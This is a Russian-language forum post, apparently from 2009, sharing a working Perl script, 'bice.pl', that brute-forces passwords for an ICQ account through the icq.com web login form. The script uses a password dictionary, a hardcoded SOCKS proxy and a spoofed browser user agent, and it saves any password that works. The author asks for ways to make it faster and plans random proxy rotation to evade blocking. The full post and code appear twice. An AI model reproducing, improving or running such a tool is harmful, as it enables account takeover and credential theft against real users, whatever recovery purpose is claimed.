demond
26.09.2009, 23:40
в виду того что, не нашел брута для linux, да еще и написанного на perl было решено написать с нуля. своей целью выбрал www.icq.com и вот что получилось:
#!/usr/bin/perl -lw
#
# bice.pl
#
# http icq bruteforce
#
# by demond
#
use strict;
use WWW::Mechanize;
use LWP::Protocol::socks;
$\ = $/;
my $version = '0.1';
my $uin = shift || "xxxxxxxx";
my $dict = shift || "./dict.txt";
my $socks = "socks://97.92.74.118:14523";
open(PASS, $dict) or or die "can't open file with passwords:$!";
while(<PASS>)
{
my $result = brute($uin,$_,$socks);
if($result)
{
open(F, ">>biceresult.txt") or die "can't open result file:$!";
print F $result;
close F;
last;
}
}
close PASS;
sub brute
{
my $uin = shift;
my $password = shift;
my $socks = shift;
my $mech = WWW::Mechanize->new();
$mech->agent_alias( 'Windows IE 6' );
$mech->proxy([qw(http https)] => $socks) if($socks);
$mech->cookie_jar(HTTP::Cookies->new());
$mech->get("https://www.icq.com/karma/login_page.php");
my $res = $mech->submit_form(
form_name => 'login',
fields => {
uin_email => $uin,
password => $password
}
);
die "[-] catn't submit login form" unless $res->is_success;
my @content = $mech->content();
for (@content)
{
if($_=~ /<body onload=\'go\(\"http\:\/\/www\.icq\.com\"\)\'>/img) {return "#".$uin."/".$password;}
else {return};
}
}
Естественно работает он медленно! Но как его ускорить я пока не знаю.
Надо еще добавить выбор сокса из списка (думаю сделать рандомный выбор из имеющегося списка). Есть еще какие-нибудь предложения по добавлению функциональности? или это дешевле "выбросить на помойку"? Может кто-то подскажет стоящий брут, удовлетворяющий моим требования.
PS писал для подбора пароля к одному единственному uin, хозяин которого просто забыл его, поэтому выбора uin нет.
#!/usr/bin/perl -lw
#
# bice.pl
#
# http icq bruteforce
#
# by demond
#
use strict;
use WWW::Mechanize;
use LWP::Protocol::socks;
$\ = $/;
my $version = '0.1';
my $uin = shift || "xxxxxxxx";
my $dict = shift || "./dict.txt";
my $socks = "socks://97.92.74.118:14523";
open(PASS, $dict) or or die "can't open file with passwords:$!";
while(<PASS>)
{
my $result = brute($uin,$_,$socks);
if($result)
{
open(F, ">>biceresult.txt") or die "can't open result file:$!";
print F $result;
close F;
last;
}
}
close PASS;
sub brute
{
my $uin = shift;
my $password = shift;
my $socks = shift;
my $mech = WWW::Mechanize->new();
$mech->agent_alias( 'Windows IE 6' );
$mech->proxy([qw(http https)] => $socks) if($socks);
$mech->cookie_jar(HTTP::Cookies->new());
$mech->get("https://www.icq.com/karma/login_page.php");
my $res = $mech->submit_form(
form_name => 'login',
fields => {
uin_email => $uin,
password => $password
}
);
die "[-] catn't submit login form" unless $res->is_success;
my @content = $mech->content();
for (@content)
{
if($_=~ /<body onload=\'go\(\"http\:\/\/www\.icq\.com\"\)\'>/img) {return "#".$uin."/".$password;}
else {return};
}
}
Естественно работает он медленно! Но как его ускорить я пока не знаю.
Надо еще добавить выбор сокса из списка (думаю сделать рандомный выбор из имеющегося списка). Есть еще какие-нибудь предложения по добавлению функциональности? или это дешевле "выбросить на помойку"? Может кто-то подскажет стоящий брут, удовлетворяющий моим требования.
PS писал для подбора пароля к одному единственному uin, хозяин которого просто забыл его, поэтому выбора uin нет.